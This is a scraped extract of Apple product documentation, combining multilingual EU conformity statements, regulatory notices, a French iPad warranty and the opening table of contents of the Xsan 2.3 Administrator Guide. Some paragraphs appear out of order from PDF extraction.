απαιτήσεις και τις λοιπές σχετικές διατάξεις της Οδηγίας 1999/5/ΕΚ. Français  Par la présente Apple Inc. déclare que l’appareil cellulaire,Wi-Fi, et Bluetooth est conforme aux exigences essentielles et aux autres dispositions pertinentes de la directive 1999/5/CE. Islenska  Apple Inc. lýsir því hér með yfir að þetta tæki, sem er farsími, þráðlaus og með blátannartækni (e: cellular,Wi-Fi and Bluetooth,) fullnægir lágmarkskröfum og öðrum viðeigandi ákvæðum Evróputilskipunar 1999/5/EC. Italiano  Con la presente Apple Inc. dichiara che questo dispositivo cellulare,Wi-Fi e Bluetooth è conforme ai requisiti essenziali ed alle altre disposizioni pertinenti stabilite dalla direttiva 1999/5/CE. Latviski  Ar šo Apple Inc. deklarē, ka cellular,Wi-Fi un Bluetooth ierīce atbilst Direktīvas 1999/5/EK būtiskajām prasībām un citiem ar to saistītajiem noteikumiem. Lietuvių  Šiuo„Apple Inc.“ deklaruoja, kad korinio, „Wi-Fi“ ir„Bluetooth“ ryšio įrenginys atitinka esminius reikalavimus ir kitas 1999/5/EB Direktyvos nuostatas. Magyar  Alulírott, Apple Inc. nyilatkozom, hogy a mobil,Wi-Fi és Bluetooth megfelel a vonatkozó alapvetõ követelményeknek és az 1999/5/EC irányelv egyéb elõírásainak.Malti  Hawnhekk, Apple Inc., jiddikjara li danWi-Fi, & Bluetooth jikkonforma mal-ħtiġijiet essenzjali u ma provvedimenti oħrajn relevanti li hemm fidDirrettiva 1999/5/EC. Nederlands  Hierbij verklaart Apple Inc. dat het toestel cellular,Wi-Fi, en Bluetooth in overeenstemming is met de essentiële eisen en de andere bepalingen van richtlijn 1999/5/EG. Norsk  Apple Inc. erklærer herved at dette mobiltelefon-,Wi-Fi- og Bluetooth-apparatet er i samsvar med de grunnleggende kravene og øvrige relevante krav i EU-direktivet 1999/5/EF. Polski  Niniejszym Apple Inc. oświadcza, że ten telefon komórkowy, urządzenieWi-Fi oraz Bluetooth są zgodne z zasadniczymi wymogami oraz pozostałymi stosownymi postanowieniami Dyrektywy 1999/5/EC. Português  Apple Inc. declara que este dispositivo móvel,Wi-Fi e Bluetooth está em conformidade com os requisitos essenciais e outras disposições da Directiva 1999/5/CE. Română  Prin prezenta, Apple Inc. declară că acest aparat celular,Wi-Fi și Bluetooth este în conformitate cu cerinţele esenţiale şi cu celelalte prevederi relevante ale Directivei 1999/5/CE. Slovensko  Apple Inc. izjavlja, da so celične naprave ter napraveWi-Fi in Bluetooth skladne z  bistvenimi zahtevami in ostalimi ustreznimi določili direktive 1999/5/ES. Slovensky  Apple Inc. týmto vyhlasuje, že toto mobilné,Wi-Fi & Bluetooth zariadenie spĺňa základné požiadavky a všetky príslušné ustanovenia Smernice 1999/5/ES. Suomi  Apple Inc. vakuuttaa täten, että tämä matkapuhelin-,Wi-Fi- ja Bluetooth-tyyppinen laite on direktiivin 1999/5/EY oleellisten vaatimusten ja sitä koskevien direktiivin muiden ehtojen mukainen. Svenska  Härmed intygar Apple Inc. att denna mobiltelefoni-,Wi-Fi-, och Bluetooth-enhet står i överensstämmelse med de väsentliga egenskapskrav och övriga relevanta bestämmelser som framgår av direktiv 1999/5/EG. A copy of the EU Declaration of Conformity is available at: www.apple.com/euro/compliance iPad can be used in the following countries: European Community Restrictions Français  Pour usage en intérieur uniquement. Consultez l’Autorité de Régulation des Communications Electroniques et des Postes (ARCEP) pour connaître les limites d’utilisation des canaux 1 à 13. www.arcep.fr Japan Compliance Statement— VCCI Class B Statement Wireless Radio Use: This device is restricted to indoor use when operating in the 5.15 to 5.25 GHz frequency band. Cet appareil doit être utilisé à l’intérieur. この製品は、周波数帯域 5.15 ~ 5.35 GHz で動作しているときは、 屋内においてのみ使用可能です。 Taiwan Wireless StatementsInformations concernant l’élimination et le recyclage Pour en savoir plus sur le programme de recyclage Apple, consultez le site : www.apple.com/fr/recycling Deutschland: Dieses Gerät enthält Batterien. Bitte nicht in den Hausmüll werfen. Entsorgen Sie dieses Gerätes am Ende seines Lebenszyklus entsprechend der maßgeblichen gesetzlichen Regelungen. Nederlands: Gebruikte batterijen kunnen worden ingeleverd bij de chemokar of in een speciale batterijcontainer voor klein chemisch afval (kca) worden gedeponeerd. Türkiye:  EEE yönetmeliğine (Elektrikli ve Elektronik Eşyalarda Bazı Zararlı Maddelerin Kullanımının Sınırlandırılmasına Dair Yönetmelik) uygundur. European Union—Disposal Information: The symbol above means that according to local laws and regulations your product should be disposed of separately from household waste. When this product reaches its end of life, take it to a collection point designated by local authorities. Some collection points accept products for free. The separate collection and recycling of your product at the time of disposal will help conserve natural resources and ensure that it is recycled in a manner that protects human health and the environment. Brasil: Informações sobre descarte e reciclagem: O símbolo acima indica que este produto e/ou sua bateria não devem ser descartadas no lixo doméstico. Quando decidir descartar este produto e/ou sua bateria, faça-o de acordo com as leis e diretrizes ambientais locais. Para informações sobre o programa de reciclagem da Apple, pontos de coleta e telefone de informações, visite www.apple.com/br/environment. Contrat de licence logicielle L’utilisation de l’iPad implique l’acceptation des conditions des licences logicielles Apple et tierces disponibles à l’adresse :www.apple.com/legal/sla Garantie d’Apple Limitée à un (1) an - iPad Pour les produits de marque Apple uniquement EN QUOI LE DROIT DE LA CONSOMMATION SE RAPPORTE-T-IL A CETTE GARANTIE CETTE GARANTIE VOUS CONFERE DES DROITS SPECIFIQUES ET IL SE PEUT QUE VOUS BENEFICIIEZ D’AUTRES DROITS EN FONCTION DE VOTRE PAYS, REGION OU ETAT, Y COMPRIS POUR LES CONSOMMATEURS FRANÇAIS LES DROITS DETAILLES CI-DESSOUS. A L’EXCEPTION DE CE QUI EST AUTORISE PAR LA LOI, APPLE N’EXCLUT, NE LIMITE NI NE SUSPEND AUCUN DES AUTRES DROITS DONT VOUS POURRIEZ BENEFICIER, NOTAMMENT CEUX RESULTANT DE LA GARANTIE LEGALE DE CONFORMITÉ ATTACHEE AU CONTRAT DE VENTE. AFIN DE PRENDRE PLEINEMENT CONNAISSANCE DE VOS DROITS, NOUS VOUS INVITONS A CONSULTER LES LOIS DE VOTRE PAYS, REGION OU ETAT. LES LIMITATIONS DE GARANTIE POUVANT AFFECTER LE DROIT DE LA CONSOMMATION DANS LA MESURE AUTORISEE PAR LA LOI, LA PRESENTE GARANTIE ET LES RECOURS STIPULES CI-DESSUS SONT EXCLUSIFS ET SONT EN LIEU ET PLACE DE TOUTES AUTRES GARANTIES, RECOURS ET DROITS, QU’ILS SOIENT ECRITS OU ORAUX, LEGAUX, EXPRES OU TACITES. APPLE EXCLUT EXPRESSEMENT TOUTES GARANTIES LEGALES ET TACITES, Y COMPRIS ET SANS QUE CETTE LISTE NE SOIT LIMITATIVE, LES GARANTIES DE QUALITE MARCHANDE, DE CONFORMITE A UN USAGE PARTICULIER ET DES VICES CACHES OU LATENTS, DANS LA MESURE DE CE QUI EST PERMIS PAR LA LOI. SI CES GARANTIES NE PEUVENT PAS VALABLEMENT ETRE EXCLUES, APPLE LIMITERA, DANS LA MESURE AUTORISEE, LA DUREE DE CELLES-CI ET LES RECOURS Y AFFERENTS, A LA DUREE DE LA PRESENTE GARANTIE COMMERCIALE ET, A LA DISCRETION D’APPLE, A LA REPARATION OU AU REMPLACEMENT DU PRODUIT, COMME DECRIT CI-DESSOUS. CERTAINS PAYS, ETATS OU REGIONS N’AUTORISENT PAS LA LIMITATION DE LA DUREE DES GARANTIES LEGALES. DE CE FAIT, LES LIMITATIONS PREVUES CIDESSUS PEUVENT NE PAS S’APPLIQUER A VOUS. CE QUI EST COUVERT PAR LA PRESENTE GARANTIE COMMERCIALE Apple garantit le produit de marque Apple et ses accessoires tels que contenus dans l’emballage d’origine (le “Produit Apple”) contre les vices de fabrication et de matière, dans des conditions normales d’utilisation, conformément aux instructions diffusées par Apple, pour une durée de UN (1) AN à compter de la date d’achat par l’acheteur final (“Durée de la Garantie”). Les instructions diffusées par Apple incluent, sans limitation, les informations contenues dans la documentation technique, les manuels d’utilisation et les communications. CE QUI N’EST PAS COUVERT PAS LA PRESENTE GARANTIE COMMERCIALE La présente garantie commerciale ne s’applique pas aux produits ou logiciels qui ne sont pas de la marque Apple, même s’ils sont emballés ou vendus avec un Produit Apple. Les fabricants, fournisseurs ou éditeurs autres que Apple peuvent vous fournir leurs propres garanties mais Apple, dans la mesure de ce qui est permis par la loi, fournit leurs produits « en l’état ». Les logiciels distribués par Apple, sous la marque Apple ou non, (y compris, de façon non limitative, les logiciels de système) ne sont pas couverts par cette garantie. Nous vous prions de bien vouloir vous reporter au contrat de licence accompagnant le logiciel pour les détails de vos droits concernant son utilisation. Apple ne garantit pas que le fonctionnement du Produit Apple sera ininterrompu ou sans erreur. Apple n’est pas responsable des dommages provenant du non-respect des instructions d’utilisation du produit. Cette garantie ne s’applique pas : (a) aux pièces consommables, telles que les batteries ou les revêtements de protection qui par nature se consument ou se dégradent au fil du temps, sauf si le dommage est dû à un vice de matière ou de fabrication ; (b) à tout dommage esthétique, comprenant notamment toute rayure, bosse ou élément en plastique de ports cassé ; (c) à tout dommage causé par l’utilisation avec un autre produit ; (d) à tout dommage causé par accident, abus, mauvaise utilisation, contact avec des éléments liquides, feu, tremblement de terre ou autres causes extérieures ; (e) à tout dommage causé par une utilisation du Produit Apple non conforme aux instructions diffusées par Apple ; (f) à tout dommage causé par toute intervention (y compris les mises à niveau et les extensions) effectuée par toute personne qui n’est pas un représentant d’Apple ou un prestataire de services agréé Apple («PSAA»); (g) à un Produit Apple qui a été modifié de telle manière à en altérer les fonctionnalités ou les capacités sans l’autorisation écrite d’Apple ; (h) aux défauts causés par une usure normale ou dus au vieillissement normal du produit ; ou (i) si un numéro de série Apple a été enlevé du Produit Apple ou rendu illisible. RESTRICTION IMPORTANTE Apple peut restreindre le service de garantie au pays dans lequel Apple ou ses distributeurs agréés ont vendus le Produit Apple à l’origine. VOS RESPONSABILITES NOUS VOUS RECOMMANDONS D’EFFECTUER DES COPIES DE SAUVEGARDE PERIODIQUES DES INFORMATIONS CONTENUES SUR LE SUPPORT DE STOCKAGE DU PRODUIT APPLE AFIN D’EN PROTEGER LE CONTENU ET DE VOUS PREMUNIR CONTRE D’EVENTUELLES DEFAILLANCES DE FONCTIONNEMENT. Avant de pouvoir bénéficier du service de garantie, Apple ou ses représentants peuvent vous demander de fournir une preuve d’achat, de répondre à des questions dans le but de les assister à diagnostiquer les problèmes potentiels ou de suivre les procédures d’Apple pour obtenir le service de garantie. Avant de déposer votre Produit Apple pour tout service de garantie, vous vous engagez à créer une copie de sauvegarde du support de stockage, à effacer toutes les informations personnelles que vous souhaitez protéger ainsi qu’à désactiver tous vos mots de passe. IL EST POSSIBLE QUE LE CONTENU DE VOTRE SUPPORT DE STOCKAGE SOIT PERDU OU REFORMATE LORS DE LA MISE EN OEUVRE DES SERVICES DE GARANTIE. APPLE ET SES REPRESENTANTS NE SONT PAS RESPONSABLE DE LA PERTE DES LOGICIELS, DONNEES OU AUTRES INFORMATIONS CONTENUES SUR LE SUPPORT DE STOCKAGE OU TOUTE AUTRE PARTIE DU PRODUIT APPLE REMIS. Votre Produit Apple, ou un Produit Apple de remplacement, vous sera retourné configuré tel que vous l’avez acheté, sous réserve des mises à jour applicables. Apple peut installer des mises à jour du logiciel système dans le cadre de son intervention, afin qu’il ne revienne pas à une version antérieure. A la suite de ces mises à jour, les applications de tiers précédemment installées sur Les détails concernant l’obtention du service de garantie sont accessibles en ligne, grâce au lien qui figure ci-dessous. OPTIONS DU SERVICE DE GARANTIE Apple will provide warranty service through one or more of the following options: Apple fournira le service de garantie selon l’une des options suivantes : (i) Service sur place. Vous pouvez déposer votre Produit Apple dans un Magasin Apple ou chez un PSAA offrant un service sur place. Le service sera effectué sur place ou le Produit Apple pourra être envoyé par le Magasin Apple ou par le PSAA à un service de réparation Apple (“SRA”) afin d’être réparé. Une fois averti de la réparation de votre produit, vous devrez rapidement venir le récupérer auprès du Magasin Apple ou chez le PSAA, ou, le Produit Apple vous sera directement envoyé par le SRA. (ii) Service prêt à poster. Si Apple estime que votre Produit Apple peut être envoyé par courrier, Apple vous fera parvenir une enveloppe prépayée et si nécessaire, des matériaux d’emballage, afin que vous puissiez faire parvenir votre Produit Apple à un SRA ou à un PSAA, conformément aux instructions d’Apple. Une fois le service effectué, le SRA ou le PSAA vous renverra le Produit Apple. Si toutes les instructions sont suivies, Apple assumera les frais d’envoi et de retour. (iii) Service “faites-le vous-même” (“DIY”). Le service DIY vous permet de réparer vous-même votre Produit Apple. Si le service DIY est applicable compte tenu des circonstances, les procédures suivantes pourront, selon les cas, s’appliquer : (a) Service pour lequel Apple vous demande le retour du produit ou de la pièce remplacé(e). Apple pourra vous demander une autorisation de prélèvement sur votre carte de crédit pour garantir le prix au détail du produit ou de la pièce de remplacement ainsi que les coûts de transport applicables. Si vous n’êtes pas en mesure de fournir une telle autorisation, vous pourrez ne pas être en mesure d’accéder au service DIY et Apple vous proposera alors une solution alternative. Apple vous enverra le produit ou la pièce de remplacement avec, le cas échéant, les instructions pour l’installer, ainsi que les conditions de renvoi du produit ou de la pièce remplacée. Si vous suivez les instructions, Apple annulera l’autorisation de prélèvement, et vous ne supporterez pas les coûts de transport du produit ou de la pièce détachée. Si vous ne retournez pas le produit ou la pièce remplacée comme indiqué ou si le produit ou la pièce remplacée ne remplit pas les conditions permettant de bénéficier du service de garantie, Apple débitera la carte de crédit du montant autorisé. le Produit Apple peuvent ne pas être compatibles ou ne pas fonctionner avec le Produit Apple. Il vous appartiendra de réinstaller tous ces logiciels, données et informations. La récupération et la réinstallation des autres programmes de logiciels, données et informations ne sont pas couvertes par cette garantie. Important : N’ouvrez pas le Produit Apple. L’ouverture du Produit Apple est susceptible de provoquer des dommages qui ne sont pas couverts par la présente garantie. Seule Apple ou un PSAA devrait effectuer des opérations d’entretien sur le Produit Apple. QUE FERA APPLE EN CAS DE MISE EN OEUVRE DE LA GARANTIE ? Si une réclamation valable est reçue par Apple ou un PSAA pendant la Durée de la Garantie, Apple va, à son choix (i) réparer le Produit Apple en utilisant des pièces neuves ou des pièces dont les performances et la fiabilité sont équivalentes à celles d’une pièce neuve, ou (ii) échanger le Produit Apple avec un produit qui est au moins fonctionnellement équivalent au produit d’origine et qui est constitué de plusieurs pièces neuves ou de pièces dont les performances et la fiabilité sont équivalentes, ou (iii) rembourser le prix d’achat du Produit Apple. Apple pourra vous demander de remplacer certaines pièces ou certains produits pouvant être installés par l’utilisateur. Un produit ou une pièce de rechange, y compris une pièce pouvant être installée par l’utilisateur et qui aura été installée conformément aux instructions fournies par Apple, sera garantie pour la plus longue des durées suivantes : la durée restant à courir de la garantie du Produit Apple d’origine ou une durée de quatre-vingt dix (90) jours à compter de la date du remplacement ou de la réparation. Lorsqu’un produit ou une pièce est échangé(e) ou remboursé(e), toute pièce de rechange devient votre propriété et la pièce échangée ou remboursée devient la propriété d’Apple. COMMENT OBTENIR LE SERVICE DE GARANTIE? Nous vous prions de bien vouloir accéder à, et examiner les ressources d’assistance en ligne, décrites ci-dessous avant de solliciter un service de garantie. Si le Produit Apple ne fonctionne toujours pas correctement après avoir utilisé ces ressources, vous pouvez contacter un représentant Apple ou le cas échéant, un magasin propriété d’Apple (“Magasin Apple”) ou un PSAA, en utilisant les informations fournies ci-dessous. Un représentant Apple ou un PSAA vous aidera à déterminer si votre Produit Apple nécessite l’intervention d’Apple, et le cas échéant, vous informera sur les modalités de cette intervention. Des surtaxes peuvent s’appliquer, selon votre localisation, lorsque vous contacter Apple par téléphone.OU DE REPRODUCTION DE TOUT PROGRAMME OU DE TOUTE DONNEE STOCKEE OU UTILISEE AVEC LES PRODUITS APPLE ET TOUT ECHEC DANS LA PRESERVATION DE LA CONFIDENTIALITE DES DONNEES STOCKEES DANS LE PRODUIT APPLE. LA PRESENTE LIMITATION NE S’APPLIQUE PAS AUX RECLAMATIONS EN CAS DE DECES OU DE DOMMAGES CORPORELS OU EN CAS DE RESPONSABILITÉ LÉGALE POUR DOL OU FAUTE LOURDE ET/OU OMISSION. APPLE NE DONNE AUCUNE GARANTIE QUANT A SA CAPACITE A REPARER TOUT PRODUIT APPLE AUX TERMES DE LA PRESENTE GARANTIE NI A ECHANGER TOUT PRODUIT APPLE SANS AUCUN RISQUE NI AUCUNE PERTE DE PROGRAMME OU DE DONNEES. CERTAINS PAYS REGIONS, OU ETATS NE PERMETTENT PAS L’EXCLUSION OU LA LIMITATION DE RESPONSABILITE VIS-A-VIS DE CERTAINES CATEGORIES D’ACHETEURS TELS LES CONSOMMATEURS, DE TELLE SORTE QUE CERTAINES EXCLUSIONS ET LIMITATIONS PREVUES CI-DESSUS PEUVENT NE PAS S’APPLIQUER A VOUS. Nonobstant les stipulations de la présente garantie commerciale, Apple reste en toute hypothèse tenue, vis-à-vis des consommateurs, des défauts de conformité, dans les conditions prévues aux articles L. 211-1 et suivants du code de la consommation français et des vices rédhibitoires, dans les conditions prévues aux articles 1641 à 1649 du code civil français. Conformément aux dispositions de l’article L. 211-15 du code de la consommation français, les articles suivants s’appliquent aux consommateurs : Article L. 211-4 du code de la consommation français « Le vendeur est tenu de livrer un bien conforme au contrat et répond des défauts de conformité existant lors de la délivrance. Il répond également des défauts de conformité résultant de l’emballage, des instructions de montage ou de l’installation lorsque celle-ci a été mise à sa charge par le contrat ou a été réalisée sous sa responsabilité. » Article L. 211-5 du code de la consommation français « Pour être conforme au contrat, le bien doit : 1° Etre propre à l’usage habituellement attendu d’un bien semblable et, le cas échéant :  correspondre à la description donnée par le vendeur et posséder les qualités que celui-ci a présentées à l’acheteur sous forme d’échantillon ou de modèle ;  présenter les qualités qu’un acheteur peut légitimement attendre eu égard aux déclarations publiques faites par le vendeur, par le producteur ou par son représentant, notamment dans la publicité ou l’étiquetage ; (b) Service pour lequel Apple ne vous demande pas le retour du produit ou de la pièce remplacé(e). Apple vous enverra gratuitement une pièce ou un produit de remplacement avec, le cas échéant, les instructions d’installation, ainsi que toutes les conditions pour le traitement du produit ou de la pièce remplacé(e). (c) Apple n’est responsable d’aucun coût de main d’œuvre que vous pourriez supporter en relation avec le service DIY. Si vous avez besoin d’une assistance particulière, merci de bien vouloir contacter Apple au numéro de téléphone indiqué ci-dessous. Apple se réserve le droit de modifier les moyens par lesquels Apple pourrait vous fournir le service de garantie ainsi que l’éligibilité de votre Produit Apple à une méthode de service en particulier. Le service de garantie sera limité aux options disponibles dans le pays où le service est demandé. Les options du service, la disponibilité des pièces et les délais de traitement varient en fonction des pays. Vous pourrez être tenu de payer les frais d’expédition et de transport si le Produit Apple ne peut pas être réparé dans le pays dans lequel il se trouve. Si vous demandez à bénéficier du service dans un pays qui n’est pas le pays d’achat, vous devrez vous conformer à toutes les lois applicables relatives à l’importation et à l’exportation et serez redevable des droits de douane, de la TVA et toutes autres taxes et coûts associés. En ce qui concerne les services internationaux, Apple peut réparer ou échanger les produits ou les pièces par des produits ou pièces comparables conformes aux standards locaux. LIMITATION DE RESPONSABILITE A L’EXCEPTION DE CE QUI EST PREVU DANS LA PRESENTE GARANTIE COMMERCIALE ET DANS LA MESURE AUTORISEE PAR LA LOI, APPLE N’EST PAS RESPONSABLE DES DOMMAGES DIRECTS, SPÉCIFIQUES, ACCESSOIRES OU INDIRECTS, CONSECUTIFS OU NON, RESULTANT DE LA VIOLATION DE TOUTE GARANTIE OU RESPONSABILITE OU DE TOUT AUTRE CONCEPT JURIDIQUE, Y COMPRIS DE FACON NON LIMITATIVE TOUTE PERTE D’UTILISATION, PERTE DE REVENU, PERTE DE PROFITS REELS OU ANTICIPES (Y COMPRIS TOUTE PERTE DE PROFITS LIES A DES CONTRATS), PERTE DE DISPONIBILITE FINANCIERE, PERTE D’ECONOMIES PREVUES, PERTE D’AFFAIRES, PERTE D’OPPORTUNITES, PERTE DE CLIENTELE, DOMMAGE A LA REPUTATION, PERTE, DOMMAGE A, OU ENDOMMAGEMENT DE DONNEES, OU PERTE OU DOMMAGE INDIRECT OU CONSECUTIF, QUELLE QU’EN SOIT LA CAUSE, Y COMPRIS LE REMPLACEMENT DE MATERIELS OU DE BIENS, TOUS FRAIS DE RECUPERATION, DE PROGRAMMATION INFORMATION EN LIGNE De plus amples informations sont disponibles en ligne sur les sujets suivants : Information internationales de support www.apple.com/support/country Distributeurs agréés www.apple.com/buy Prestataire de Service Agréé Apple support.apple.com/kb/HT1434 Magasins Apple (“Apple Retail Store”) www.apple.com/retail/storelist/ Support et service Apple support.apple.com/kb/HE57 Support gratuit Apple www.apple.com/ support/country/index. html?dest=complimentary Societe Apple Garante Pour La Région Ou Le Pays D’achat Région/ Pays d’achat Adresse AMÉRIQUE Brésil Apple Computer Brasil Ltda Av. Cidade Jardim 400, 2 Andar, Sao Paulo, SP Brasil 01454-901 Canada Apple Canada Inc. 7495 Birchmount Rd. Markham, Ontario L3R 5G2 Canada Mexique APPLE OPERATIONS MÉXICO S.A. DE C.V. Prolongación Paseo de la Reforma #600, Suite 132, Colonia Peña Blanca, Santa Fé, Delegación Álvaro Obregón, México D. F., CP 01210, México Etats-Unis et autres pays d’Amérique Apple Inc. 1 Infinite Loop; Cupertino, CA 95014, U.S.A. EUROPE, MOYEN-ORIENT ET AFRIQUE Tous les pays Apple Sales International Hollyhill Industrial Estate Hollyhill, Cork, Republic of Ireland 2° Ou présenter les caractéristiques définies d’un commun accord par les parties ou être propre à tout usage spécial recherché par l’acheteur, porté à la connaissance du vendeur et que ce dernier a accepté. » Article L. 211-12 du code de la consommation français « L’action résultant du défaut de conformité se prescrit par deux ans à compter de la délivrance du bien. » Article 1641 du code civil français « Le vendeur est tenu de la garantie à raison des défauts cachés de la chose vendue qui la rendent impropre à l’usage auquel on la destine, ou qui diminuent tellement cet usage que l’acheteur ne l’aurait pas acquise, ou n’en aurait donné qu’un moindre prix, s’il les avait connus.» Article 1648 alinéa 1er du code civil français « L’action résultant des vices rédhibitoires doit être intentée par l’acquéreur dans un délai de deux ans à compter de la découverte du vice. » RESPECT DE LA VIE PRIVEE Apple, en sa qualité de responsable de traitement, conservera et utilisera les informations du client conformément à la politique de confidentialité Apple, qui peut être consultée sur la page web suivante: www.apple.com/legal/ warranty/privacy. STIPULATIONS GENERALES Aucun revendeur, agent ou salarié Apple n’est habilité à modifier, proroger ou compléter la présente garantie. Si une stipulation des présentes est déclarée illégale ou inapplicable, la validité des autres stipulations ne sera pas affectée. Cette garantie est régie et interprétée selon les lois du pays dans lequel le Produit Apple a été acheté. Apple est identifiée à la fin de ce document selon le pays dans lequel le Produit Apple a été acheté. Apple et ses successeurs sont les garants en vertu de cette garantie.Région/ Pays d’achat Adresse ASIE/PACIFIQUE Australie ; Nouvelle Zélande, Fidji, PapouasieNouvelle- Guinée ; Vanuatu Apple Pty. Limited PO Box A2629, South Sydney, NSW 1235, Australia Hong Kong Apple Asia Limited 2401 Tower One, Times Square, Causeway, Hong Kong Inde Apple India Private Ltd. 19th Floor, Concorde Tower C, UB City No 24, Vittal Mallya Road, Bangalore 560-001, India Japon Apple Japan, Inc. 3-20-2 Nishishinjuku, Shinjuku-ku, Tokyo, Japan Corée Apple Korea Ltd. 3201, ASEM Tower;159, Samsung-dong, Kangnam-gu; Seoul 135-090, Korea Afghanistan, Bangladesh, Bhoutan, Brunei, Cambodge Guam, Indonésie, Laos, Singapour, Malaisie, Népal, Pakistan, Philippines, Sri Lanka, Vietnam Apple South Asia Pte. Ltd. 7 Ang Mo Kio Street 64; Singapore 569086 République populaire de Chine Apple Computer Trading (Shanghai) Co. Ltd. Room 1815, No. 1 Jilong Road, Waigaoqiao Free Trade Zone, Shanghai 200131 China Thaïlande Apple South Asia (Thailand) Limited 25th Floor, Suite B2, Siam Tower, 989 Rama 1 Road, Pataumwan, Bangkok, 10330 Taiwan Apple Asia LLC 16A, No. 333 Tun Hwa S. Road. Sec. 2, Taipei, Taiwan 106 Autres pays d’Asie Pacifique Apple Inc. 1 Infinite Loop Cupertino, CA 95014, U.S.A. iPad Warranty v3.0© 2012 Apple Inc. Tous droits réservés. Apple, le logo Apple, iPad, iTunes et Safari sont des marques d’Apple Inc. déposées aux États-Unis et dans d’autres pays. Apple Store est une marque de service d’Apple Inc. déposée aux États-Unis et dans d’autres pays. La marque et les logos Bluetooth® sont des marques déposées de Bluetooth SIG, Inc. dont l’utilisation par Apple Inc. est soumise à un accord de licence. F034-6327-A Printed in XXXX Xsan 2 Administrator Guide for Xsan 2.3KApple Inc. © 2011 Apple Inc. All rights reserved. Under the copyright laws, this manual may not be copied, in whole or in part, without the written consent of Apple. The Apple logo is a trademark of Apple Inc., registered in the U.S. and other countries. Use of the “keyboard” Apple logo (Option-Shift-K) for commercial purposes without the prior written consent of Apple may constitute trademark infringement and unfair competition in violation of federal and state laws. Every effort has been made to ensure that the information in this manual is accurate. Apple is not responsible for printing or clerical errors. Apple 1 Infinite Loop Cupertino, CA 95014 408-996-1010 www.apple.com Apple, the Apple logo, Mac, the Mac logo, Macintosh, Mac OS, and Xsan are trademarks of Apple Inc., registered in the U.S. and other countries. Apple Remote Desktop, Finder, and Spotlight are trademarks of Apple Inc. StorNext is a registered trademark of Quantum Corporation. AIX is a trademark of IBM Corp., registered in the U.S. and other countries, and is being used under license. UNIX is a registered trademark of The Open Group. Other company and product names mentioned herein are trademarks of their respective companies. Mention of third-party products is for informational purposes only and constitutes neither an endorsement nor a recommendation. Apple assumes no responsibility with regard to the performance or use of these products. Simultaneously published in the United States and Canada. 019-2098/2011-06-3011 Preface: About this book 12 What’s new in Xsan 2 13 Version compatibility 13 Upgrade from an earlier version of Xsan 13 More information 14 Notation conventions 15 Chapter 1: Quick SAN setup 15 Is this chapter right for you? 16 Equipment you’ll need 16 What you need to know 17 SAN setup instructions 18 Step 1: Unpack and install the SAN hardware 18 Step 2: Connect the SAN networks 18 Step 3: Set up the client computers 21 Step 4: Set up the standby metadata controller 21 Step 5: Set up the RAID systems 22 Step 6: Create a metadata array 22 Step 7: Set Up the primary metadata controller 23 Step 8: Configure the SAN 27 Step 9: Create a SAN volume 29 Step 10: Add users and groups 30 What’s next? 31 Chapter 2: Overview of Xsan 32 Xsan SANs 33 Shared SAN volumes 33 Metadata controllers 33 Clients 33 Network connections 34 How Xsan storage is organized 34 LUNs 35 Storage pools 3 Contents4 Contents 35 Affinities and affinity tags 36 Volumes 36 Folders with affinities 37 How Xsan uses available storage 37 Metadata and journal data 37 Stripe at a higher level 38 Security 38 Expand storage 38 Xsan capacities 40 Chapter 3: Plan a SAN 40 Hardware and software requirements 40 Supported computers 41 Supported storage devices 41 Fibre Channel fabric 42 Ethernet TCP/IP network 43 Directory services 44 Outgoing mail service 44 Plan your SAN 45 Preliminary planning questions 45 Planning considerations and guidelines 51 Plan the Ethernet TCP/IP network 52 Use a private metadata network 52 Use switches instead of hubs 52 Plan the Fibre Channel network 52 Verify base Fibre Channel performance 52 If your Fibre Channel fabric is running slowly 53 Configure RAID systems 53 Install the latest firmware 54 Connect RAID systems to an Ethernet network 54 Choose RAID levels for LUNs 54 Adjust RAID system performance settings 56 Chapter 4: Set up a SAN 56 Connect computers and storage devices 56 Prepare LUNs 57 Use the server setup assistant to configure controllers 57 Manage users and groups with Xsan Admin 57 Use an existing Open Directory server 58 Use another directory server 58 Use Xsan Admin 58 Connect through a firewall 58 Xsan Admin preferencesContents 5 58 Get help 58 SAN and volume setup summary 59 Set up an Xsan volume on a SAN 59 Step 1: Set up the Fibre Channel network 59 Step 2: Set up the Ethernet networks 60 Step 3: Configure SAN computers to use a time server 61 Step 4: Set up SAN users and groups 62 Step 5: Set up RAID systems 62 Step 6: Create a metadata array 63 Step 7: Enable Xsan on clients and controllers 64 Step 8: Configure the SAN 65 Step 9: Create a volume 68 Step 10: (Optional) Set up SAN status notifications 68 Step 11: (Optional) Assign folders to affinity tags 68 Step 12: (Optional) Set user and group quotas 68 Use an Xsan administrator computer 69 Rename a SAN 69 Set up another SAN 69 Manage multiple SANs 70 Destroy a SAN 71 Chapter 5: Manage SAN storage 71 Add storage 72 Prepare LUNs 72 Find the drive modules that belong to a LUN 73 Add a volume to a SAN 74 Add a storage pool to a volume 75 Add LUNs to an affinity tag 77 Rearrange Fibre Channel connections 77 Set up a folder affinity 78 Change a folder’s affinity 79 Remove an affinity 79 Change advanced volume settings 80 Set the block allocation size 80 Change the volume allocation strategy 81 Enable or disable Spotlight on a volume 81 Enable extended attributes 82 Enable or disable access control lists 82 Change filename case sensitivity 83 Change the Windows ID mapping 83 Change advanced allocation and cache settings 83 Change storage pool settings 84 Change the exclusivity of an affinity tag6 Contents 84 Set the storage pool stripe breadth 84 Maintain SAN volumes 85 Rename a volume 85 Check volume fragmentation 85 Defragment a volume 86 Check the integrity of a volume 87 Repair a volume 88 Check RAID devices 88 Destroy a volume 89 Chapter 6: Manage clients and users 89 Add a client 91 Add an Xsan serial number 91 Move a client to a different SAN 92 Mount a volume on a client 93 Change mount options 93 Manage users and groups 94 Add SAN users 95 Delete SAN users 95 Create groups 96 Delete groups 96 Change group membership 96 Configure local home folders for network accounts 97 Control client and user access 97 Control file and folder access using the Finder 97 Control file and folder access using Xsan Admin 98 Unmount a volume on a client 99 Remove a client from a SAN 100 Map Windows user and group IDs 100 Set SAN user and group quotas 102 About Xsan quotas 103 Check user quota status 104 Help users check quotas 105 Manage client computers remotely 105 Control a client using screen sharing 106 Connect to a client using SSH in terminal 107 Chapter 7: Manage metadata controllers 109 Set controller failover priority 109 Switch to a standby metadata controller 110 Find out which controller is hosting a volume 110 List the volumes hosted by a controller 111 Change a controller’s IP addressContents 7 112 Make a standby controller the primary controller 112 Convert a controller to a client 112 Access controller computers remotely 113 Control a controller using screen sharing 113 Connect to a controller using SSH in Terminal 114 Monitor controller status 115 Chapter 8: Monitor SAN status 115 Check SAN status 116 Check volume status 116 Monitor RAID devices 117 Check free space 118 